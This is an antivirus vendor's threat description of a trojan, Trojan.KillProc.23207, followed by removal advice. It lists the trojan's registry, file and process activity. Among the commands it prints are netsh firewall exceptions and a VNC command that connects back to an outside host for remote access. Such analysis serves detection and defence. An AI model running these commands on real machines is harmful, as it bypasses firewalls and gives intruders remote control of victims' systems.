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Trojan.KillProc.23207

Added to the Dr.Web virus database: 2013-04-06

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates the following services:
  • [<HKLM>\SYSTEM\ControlSet001\Services\uvnc_service] 'Start' = '00000002'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
  • [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe' = '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe:*:Enabled:OneClick-Server'
Creates and executes the following:
  • %TEMP%\nsh5.tmp\ns18.tmp cmd.exe /C del /P /Q "%HOMEPATH%\Desktop\Tools.url"
  • %TEMP%\nsh5.tmp\ns19.tmp "netsh.exe" firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE ALL
  • %TEMP%\nsh5.tmp\ns1A.tmp "netsh.exe" firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE
  • %TEMP%\nsh5.tmp\ns17.tmp cmd.exe /C del /P /Q "%HOMEPATH%\Start Menu\Tools.url"
  • %TEMP%\nsh5.tmp\ns14.tmp "%PROGRAM_FILES%\1c2.0.9\Uninst.exe"
  • %TEMP%\nsh5.tmp\ns15.tmp cmd.exe /C del /P /Q "%ALLUSERSPROFILE%\Start Menu\Tools.url"
  • %TEMP%\nsh5.tmp\ns16.tmp cmd.exe /C del /P /Q "%ALLUSERSPROFILE%\Desktop\Tools.url"
  • %TEMP%\nsh5.tmp\ns1B.tmp "sc.exe" stop uvnc_service
  • %PROGRAM_FILES%\1c2.0.9\winvncsc.exe -service
  • %TEMP%\nsh5.tmp\ns1F.tmp "net.exe" start uvnc_service
  • %PROGRAM_FILES%\1c2.0.9\winvncsc.exe -autoreconnect -sc_prompt -connect vnc.acsaccess.com::5510 -service_run
  • %PROGRAM_FILES%\1c2.0.9\winvncsc.exe -install
  • %TEMP%\nsh5.tmp\ns1C.tmp "net.exe" stop uvnc_service
  • %TEMP%\nsh5.tmp\ns1D.tmp "sc.exe" delete uvnc_service
  • %TEMP%\nsh5.tmp\ns1E.tmp "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" -install
  • %TEMP%\nsh5.tmp\ns9.tmp "sc.exe" delete winvnc
  • %TEMP%\nsh5.tmp\nsA.tmp "net.exe" stop WinVNC4
  • %TEMP%\nsh5.tmp\nsB.tmp "sc.exe" delete winvnc4
  • %TEMP%\nsh5.tmp\ns8.tmp "net.exe" stop WinVNC
  • %TEMP%\nsi3.tmp\WebGetS.exe /3
  • %TEMP%\nsh5.tmp\ns6.tmp "net.exe" stop uvnc_service
  • %TEMP%\nsh5.tmp\ns7.tmp "sc.exe" delete uvnc_service
  • %TEMP%\nsh5.tmp\nsC.tmp "tskill.exe" WinVncSC
  • %TEMP%\nsh5.tmp\ns11.tmp "taskkill.exe" /F /IM AvncMenu.exe /T
  • %TEMP%\nsh5.tmp\ns12.tmp "tskill.exe" WinVnc
  • %TEMP%\nsh5.tmp\ns13.tmp "taskkill.exe" /F /IM WinVnc.exe /T
  • %TEMP%\nsh5.tmp\ns10.tmp "taskkill.exe" /F /IM WinVncSC.exe /T
  • %TEMP%\nsh5.tmp\nsD.tmp "tskill.exe" 1click
  • %TEMP%\nsh5.tmp\nsE.tmp "tskill.exe" AvncMenu
  • %TEMP%\nsh5.tmp\nsF.tmp "taskkill.exe" /F /IM 1click.exe /T
Executes the following:
  • <SYSTEM32>\taskkill.exe /F /IM AvncMenu.exe /T
  • <SYSTEM32>\tskill.exe WinVnc
  • <SYSTEM32>\taskkill.exe /F /IM WinVncSC.exe /T
  • <SYSTEM32>\tskill.exe AvncMenu
  • <SYSTEM32>\taskkill.exe /F /IM 1click.exe /T
  • <SYSTEM32>\taskkill.exe /F /IM WinVnc.exe /T
  • <SYSTEM32>\net1.exe start "uvnc_service"
  • <SYSTEM32>\net1.exe start uvnc_service
  • <SYSTEM32>\sc.exe stop uvnc_service
  • <SYSTEM32>\netsh.exe firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE ALL
  • <SYSTEM32>\netsh.exe firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE
  • <SYSTEM32>\net.exe stop WinVNC
  • <SYSTEM32>\net1.exe stop WinVNC
  • <SYSTEM32>\sc.exe delete uvnc_service
  • <SYSTEM32>\net.exe stop uvnc_service
  • <SYSTEM32>\net1.exe stop uvnc_service
  • <SYSTEM32>\sc.exe delete winvnc
  • <SYSTEM32>\tskill.exe WinVncSC
  • <SYSTEM32>\tskill.exe 1click
  • <SYSTEM32>\sc.exe delete winvnc4
  • <SYSTEM32>\net.exe stop WinVNC4
  • <SYSTEM32>\net1.exe stop WinVNC4
Modifies file system :
Creates the following files:
  • %PROGRAM_FILES%\1c2.0.9\logo.bmp
  • %PROGRAM_FILES%\1c2.0.9\background.bmp
  • %PROGRAM_FILES%\1c2.0.9\icon1.ico
  • %PROGRAM_FILES%\1c2.0.9\icon2.ico
  • %PROGRAM_FILES%\1c2.0.9\winvncsc.exe
  • %PROGRAM_FILES%\1c2.0.9\rePaper.exe
  • %PROGRAM_FILES%\1c2.0.9\OneClick.ini
  • %PROGRAM_FILES%\1c2.0.9\cad.exe
  • %PROGRAM_FILES%\1c2.0.9\Ding_Dong.wav
  • %PROGRAM_FILES%\1c2.0.9\icon0.ico
  • %TEMP%\nsh5.tmp\ns15.tmp
  • %TEMP%\nsh5.tmp\ns16.tmp
  • %PROGRAM_FILES%\1c2.0.9\Advantig.Lic
  • %TEMP%\nsh5.tmp\ns14.tmp
  • %TEMP%\nsh5.tmp\ns17.tmp
  • %PROGRAM_FILES%\1c2.0.9\UltraVnc.ini
  • %PROGRAM_FILES%\1c2.0.9\stop.ico
  • %TEMP%\nsh5.tmp\ns18.tmp
  • %PROGRAM_FILES%\1c2.0.9\Uninst.exe
  • %TEMP%\nsh5.tmp\ns1D.tmp
  • %ALLUSERSPROFILE%\Desktop\Re-connect Support.lnk
  • %TEMP%\nsh5.tmp\ns1B.tmp
  • %TEMP%\nsh5.tmp\ns1C.tmp
  • %TEMP%\nsh5.tmp\ns1E.tmp
  • %ALLUSERSPROFILE%\Start Menu\System Boot Configuration.lnk
  • %ALLUSERSPROFILE%\Desktop\System Boot Configuration.lnk
  • %TEMP%\nsh5.tmp\ns1F.tmp
  • %PROGRAM_FILES%\1c2.0.9\SysCfg.lnk
  • %TEMP%\nsh5.tmp\ns1A.tmp
  • %PROGRAM_FILES%\1c2.0.9\boot.ico
  • %TEMP%\nsi3.tmp\Advantig.ini
  • %PROGRAM_FILES%\1c2.0.9\CustomText.ini
  • %PROGRAM_FILES%\1c2.0.9\Goodbye.vbs
  • %ALLUSERSPROFILE%\Start Menu\Stop Remote Support.lnk
  • %ALLUSERSPROFILE%\Desktop\1cToolBox.lnk
  • %TEMP%\nsh5.tmp\ns19.tmp
  • %ALLUSERSPROFILE%\Desktop\Stop Remote Support.lnk
  • %ALLUSERSPROFILE%\Start Menu\1cToolBox.lnk
  • %TEMP%\nsh5.tmp\ns13.tmp
  • %TEMP%\nsi3.tmp\stop.ico
  • %TEMP%\nsi3.tmp\boot.ico
  • %TEMP%\nsi3.tmp\icon1.ico
  • %TEMP%\nsi3.tmp\icon2.ico
  • %TEMP%\nsi3.tmp\Ding_Dong.wav
  • %TEMP%\nsi3.tmp\OneClick.ini
  • %TEMP%\nsi3.tmp\Goodbye.vbs
  • %TEMP%\nsi3.tmp\CustomText.ini
  • %TEMP%\nsi3.tmp\Startup.txt
  • %TEMP%\nsi3.tmp\icon0.ico
  • %TEMP%\nsi3.tmp\helpdesk.txt
  • %TEMP%\nsi3.tmp\winvncsc.exe
  • %TEMP%\nsd2.tmp
  • %TEMP%\nsi3.tmp\WebGetS.exe
  • %TEMP%\nsi3.tmp\UltraVnc.ini
  • %TEMP%\nsi3.tmp\logo.bmp
  • %TEMP%\nsi3.tmp\background.bmp
  • %TEMP%\nsi3.tmp\cad.exe
  • %TEMP%\nsi3.tmp\Splash.bmp
  • %TEMP%\nsh5.tmp\nsC.tmp
  • %TEMP%\nsh5.tmp\nsD.tmp
  • %TEMP%\nsh5.tmp\nsA.tmp
  • %TEMP%\nsh5.tmp\nsB.tmp
  • %TEMP%\nsh5.tmp\nsE.tmp
  • %TEMP%\nsh5.tmp\ns11.tmp
  • %TEMP%\nsh5.tmp\ns12.tmp
  • %TEMP%\nsh5.tmp\nsF.tmp
  • %TEMP%\nsh5.tmp\ns10.tmp
  • %TEMP%\nsh5.tmp\ns9.tmp
  • %TEMP%\nsi3.tmp\rePaper.exe
  • %TEMP%\nsi3.tmp\AvncMenu.exe
  • %TEMP%\nsi3.tmp\Splash.dll
  • %TEMP%\nsi3.tmp\Advantig.Lic
  • %TEMP%\nsh5.tmp\nsExec.dll
  • %TEMP%\nsh5.tmp\ns7.tmp
  • %TEMP%\nsh5.tmp\ns8.tmp
  • %TEMP%\nsh5.tmp\ns6.tmp
  • %TEMP%\nsi3.tmp\OC-Done.txt
Deletes the following files:
  • %TEMP%\nsi3.tmp\AvncMenu.exe
  • %TEMP%\nsi3.tmp\Advantig.ini
  • %TEMP%\nsi3.tmp\helpdesk.txt
  • %TEMP%\nsh5.tmp\ns18.tmp
  • %TEMP%\nsh5.tmp\ns15.tmp
  • %TEMP%\nsh5.tmp\ns16.tmp
  • %TEMP%\nsh5.tmp\ns17.tmp
  • %TEMP%\nsh5.tmp\ns19.tmp
  • %TEMP%\nsh5.tmp\ns1E.tmp
  • %TEMP%\nsh5.tmp\ns1F.tmp
  • %TEMP%\nsh5.tmp\nsExec.dll
  • %TEMP%\nsh5.tmp\ns1D.tmp
  • %TEMP%\nsh5.tmp\ns1A.tmp
  • %TEMP%\nsh5.tmp\ns1B.tmp
  • %TEMP%\nsh5.tmp\ns1C.tmp
  • %TEMP%\nsh5.tmp\nsA.tmp
  • %TEMP%\nsh5.tmp\nsB.tmp
  • %TEMP%\nsh5.tmp\nsC.tmp
  • %TEMP%\nsh5.tmp\ns9.tmp
  • %TEMP%\nsh5.tmp\ns6.tmp
  • %TEMP%\nsh5.tmp\ns7.tmp
  • %TEMP%\nsh5.tmp\ns8.tmp
  • %TEMP%\nsh5.tmp\nsD.tmp
  • %TEMP%\nsh5.tmp\ns12.tmp
  • %TEMP%\nsh5.tmp\ns13.tmp
  • %TEMP%\nsh5.tmp\ns14.tmp
  • %TEMP%\nsh5.tmp\ns11.tmp
  • %TEMP%\nsh5.tmp\nsE.tmp
  • %TEMP%\nsh5.tmp\nsF.tmp
  • %TEMP%\nsh5.tmp\ns10.tmp
Network activity:
Connects to:
  • 'vn#.##saccess.com':5510
UDP:
  • DNS ASK vn#.##saccess.com
Miscellaneous:
Searches for the following windows:
  • ClassName: '' WindowName: ''
  • ClassName: 'WinVNC Tray Icon' WindowName: ''
  • ClassName: 'Shell_TrayWnd' WindowName: ''
  • ClassName: 'WinVNC desktop sink' WindowName: ''
  • ClassName: '#32770' WindowName: ''
  • ClassName: 'SysListView32' WindowName: ''

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android